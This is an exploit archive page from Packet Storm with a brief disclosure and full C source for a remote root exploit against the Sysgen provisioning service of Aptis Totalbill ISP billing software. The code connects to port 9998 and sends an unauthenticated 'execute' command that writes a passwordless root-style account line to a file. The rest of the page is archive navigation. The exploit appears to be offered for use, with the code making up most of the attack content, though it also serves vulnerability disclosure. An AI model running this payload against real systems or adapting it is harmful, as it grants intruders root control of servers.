what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

totalbill.c

totalbill.c
Posted Aug 10, 2000
Authored by Brian Masney

Totalbill is a complete billing and provisioning system for ISPs which contains remote root vulnerabilities.

tags | exploit, remote, root, vulnerability
SHA-256 | 6eccd079ce9e4448c67abb2c3b60374644fb7bf4faed59fe18628ecd8b704e95

totalbill.c

Change Mirror Download
   Totalbill is a complete billing and provisioning system for ISPs, and
it's written by Aptis Software (www.aptissoftware.com). There is one part
of it that sits on your mail and radius servers called Sysgen that listens
on a port (sometimes 9998, but it usually varies), and it allows the
incoming provisioning requests to be handled. Well, the problem is it
doesn't do any logging on the incoming connections, doesn't do ANY kind of
authentication, and it will let you run any program as root remotely
without it being logged. I notified Aptis about this problem back in
November 1999, and they haven't released an update yet. Obviously,
security must not be a top priority for them...

Also, I never did get to verify this, but it looks like cc_queue (handles
credit card transactions) is vulnerable to buffer overflows as well. I
would suggest start firewalling some of these ports...

And now for the code... It'll just create a file called /rootfile on your
machine, and no logging will have taken place.

#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define TOTALBILL_PORT 9998
#define TOTALBILL_SERVER "" /* Insert hostname here */

int main (void)
{
struct sockaddr_in servaddr;
char *tempstr, buf[8192];
struct hostent *host;
int sockfd;

if ((sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
fprintf (stderr, "Error: Could not create a socket: %s\n",
strerror (errno));
return (1);
}
memset (&servaddr, 0, sizeof (servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons (TOTALBILL_PORT);

if ((host = gethostbyname (TOTALBILL_SERVER)) == NULL)
{
fprintf (stderr, "Error: Could not look up %s\n", TOTALBILL_SERVER);
return (1);
}

memcpy (&servaddr.sin_addr, host->h_addr_list[0], host->h_length);
if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)
{
fprintf (stderr, "Error: Cannot connect to %s: %s\n", TOTALBILL_SERVER,
strerror (errno));
return (1);
}
tempstr = "123456 execute execute execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile";
printf ("Sending command %s to %s\n", tempstr, TOTALBILL_SERVER);
if (write (sockfd, tempstr, strlen (tempstr) + 1) < 0)
{
fprintf (stderr, "Error: Cannot write to socket: %s\n", strerror (errno));
return (1);
}
printf ("Sent...waiting for response...\n");
if (read (sockfd, buf, sizeof (buf)) < 0)
{
fprintf (stderr, "Error: Cannot read from socket: %s\n", strerror (errno));
return (1);
}
printf ("Received %s from server\n", buf);
close (sockfd);
return (0);
}


Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close